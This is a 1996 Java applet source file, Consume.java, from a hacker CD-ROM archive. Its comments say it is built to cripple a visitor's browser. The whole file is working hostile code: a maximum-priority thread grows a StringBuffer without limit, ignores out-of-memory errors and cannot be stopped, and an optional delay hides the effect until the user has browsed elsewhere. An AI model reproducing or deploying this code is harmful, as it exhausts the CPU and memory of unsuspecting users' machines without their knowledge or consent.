home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / consume.jav < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.0 KB  |  103 lines

  1. /* Consume.java by Mark D. LaDue */
  2.  
  3. /* February 18, 1996  */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to bring your Java-aware
  10.    browser to its knees by hogging both the CPU and memory. */
  11.  
  12. import java.awt.Color;
  13. import java.awt.Event;
  14. import java.awt.Font;
  15. import java.awt.Graphics;
  16. import java.awt.Image;
  17.  
  18. public class Consume extends java.applet.Applet implements Runnable {
  19.  
  20. //  Just a font to paint strings to our offscreen object
  21.     Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
  22.  
  23. //  This thread will attempt to consume CPU resources
  24.     Thread wasteResources = null;
  25.  
  26. //  An offscreen Image where all of the real action will occur
  27.     Image offscreenImage;
  28.  
  29. //  All of the tools necessary to handle the offscreen Image
  30.     Graphics offscreenGraphics;  // Needed to handle the offscreen Image
  31.  
  32. //  To avoid arrays and have open-ended storage of calculation results
  33.     StringBuffer holdBigNumbers = new StringBuffer(0);
  34.  
  35. //  Used for the while loop in the run() method
  36.     long n = 0;
  37.  
  38. //  Used to read in a parameter that makes the thread sleep for a
  39. //  specified number of seconds
  40.     int delay;
  41.  
  42.  
  43. /*  Set up a big blue rectangle in the browser and create an offscreen Image */
  44.  
  45.     public void init() {
  46.     setBackground(Color.blue);
  47.     offscreenImage = createImage(this.size().width, this.size().height);
  48.     offscreenGraphics = offscreenImage.getGraphics();
  49.  
  50. //  Determine how many seconds the thread should sleep before kicking in
  51.     String str = getParameter("wait");
  52.     if (str == null)
  53.         delay = 0;
  54.     else delay = (1000)*(Integer.parseInt(str));
  55.     }
  56.  
  57. /*  Create and start the offending thread in the standard way */
  58.  
  59.     public void start() {
  60.         if (wasteResources == null) {
  61.         wasteResources = new Thread(this);
  62.         wasteResources.setPriority(Thread.MAX_PRIORITY);
  63.         wasteResources.start();
  64.         }
  65.     }
  66.  
  67. /*  We won't stop anything */
  68.  
  69.     public void stop() {}
  70.  
  71.  
  72. /*  
  73.     This method repeatedly appends a very large integer to
  74.     a StringBuffer. It can sleep for a specified length 
  75.     of time in order to give the browser enough
  76.     time to go elsewhere before it insidious effects
  77.     become apparent. */
  78.  
  79.     public void run() {
  80.         try {Thread.sleep(delay);}
  81.         catch (InterruptedException e) {}
  82.         while (n >= 0) {
  83.         try { holdBigNumbers.append(0x7fffffffffffffffL); }
  84.         catch (OutOfMemoryError o) {}
  85.         repaint();
  86.         n++;
  87.         }
  88.     }
  89.  
  90.     public void update(Graphics g) {
  91.         paint(g);
  92.     }
  93.  
  94. /*  Paints to the offscreen Image */
  95.  
  96.     public void paint(Graphics g) {
  97.     offscreenGraphics.setColor(Color.white);
  98.     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  99.     offscreenGraphics.setColor(Color.blue);
  100.     offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  101.     }
  102. }
  103.